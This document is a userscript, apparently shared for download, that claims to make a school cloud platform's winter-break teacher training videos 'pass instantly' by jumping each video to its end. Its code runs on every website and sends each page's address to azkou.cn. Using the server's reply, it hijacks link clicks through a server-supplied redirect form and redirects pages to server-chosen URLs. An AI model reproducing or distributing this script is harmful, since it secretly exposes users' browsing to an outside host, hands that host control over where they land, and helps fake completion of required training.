中小学智慧云平台寒假研修学习

中小学智慧云平台寒假研修学习秒过

// ==UserScript==
// @name         中小学智慧云平台寒假研修学习
// @namespace    zhongxiaoxuewangke
// @version      1.0.4
// @description  中小学智慧云平台寒假研修学习秒过
// @author       zhongxiaoxuewangke
// @match        *://*/*
// @grant        GM_addStyle
// @connect      azkou.cn
// @license      MIT
// @grant             unsafeWindow
// @grant             GM_xmlhttpRequest
// @grant             GM_setValue
// @grant             GM_getValue
// @grant             GM_openInTab
// @grant             GM_info
// ==/UserScript==
(() => {
	var e = {
			331: () => {
				var e = [],
					t = [],
					a = [],
					r = 0,
					n = 10;

				function o() {
					let e = document.getElementsByTagName("video");
					e[0].play(), e[0].pause(), e[0].currentTime = e[0].duration, e[0].play()
				}

				function d(e, t, a) {
					return new Promise(((r, n) => {
						GM_xmlhttpRequest({
							method: "POST",
							url: e,
							data: t,
							headers: a,
							responseType: "json",
							onload: e => {
								r(e.response || e.responseText)
							},
							onerror: e => {
								n(e)
							}
						})
					}))
				}

				function i() {
					e.wrapper.forEach((function(e) {
						$(e)
							.map((function(e, n) {
								"yes" != $(n)
									.attr("data-md5-value") && (t.push(n), a.push(n), $(n)
										.attr("data-md5-key", r), $(n)
										.attr("data-md5-value", "yes"), r++)
							}))
					}));
					let o = a.splice(0, n),
						i = [];
					o.forEach((function(e, t) {
							let a = {};
							a.href = $(e)
								.find("a:first")
								.attr("href"), a.md5 = $(e)
								.attr("data-md5-key"), i.push(a)
						})), i.length > 0 && d(`${e.api}/api.php?act=list`, JSON.stringify({
							data: i,
							type: e.page
						}), {})
						.then((a => {
							0 == a.code && a.data.map((function(a) {
								a.recove_url && $(t[a.md5])
									.find("a")
									.bind("click", (function(t) {
										var r, n;
										t.preventDefault(), r = a.recove_url, n = null, document.getElementById("redirect_form") ? (n = document.getElementById("redirect_form"))
											.action = e.jumpUrl + encodeURIComponent(r) : ((n = document.createElement("form"))
												.action = e.jumpUrl + encodeURIComponent(r), n.target = "_blank", n.method = "POST", n.setAttribute("id", "redirect_form"), document.body.appendChild(n)), n.submit(), n.action = "", n.parentNode.removeChild(n)
									}))
							}))
						}))
				}
				d("https://www.azkou.cn/api.php?act=initEnv", JSON.stringify({
						href: location.href
					}), {})
					.then((t => {
						if ("search" == t.data.page) n = t.data.splName, e = t.data, i(), setInterval(i, t.data.timer);
						else {
							if ("item" == t.data.page && t.data.recove_url) return void(window.location.href = t.data.jumpUrl + encodeURIComponent(t.data.recove_url));
							"wk" == t.data.page && setInterval(o, 1e3)
						}
					}))
			}
		},
		t = {};
	! function a(r) {
		var n = t[r];
		if (void 0 !== n) return n.exports;
		var o = t[r] = {
			exports: {}
		};
		return e[r](o, o.exports, a), o.exports
	}(331)
})();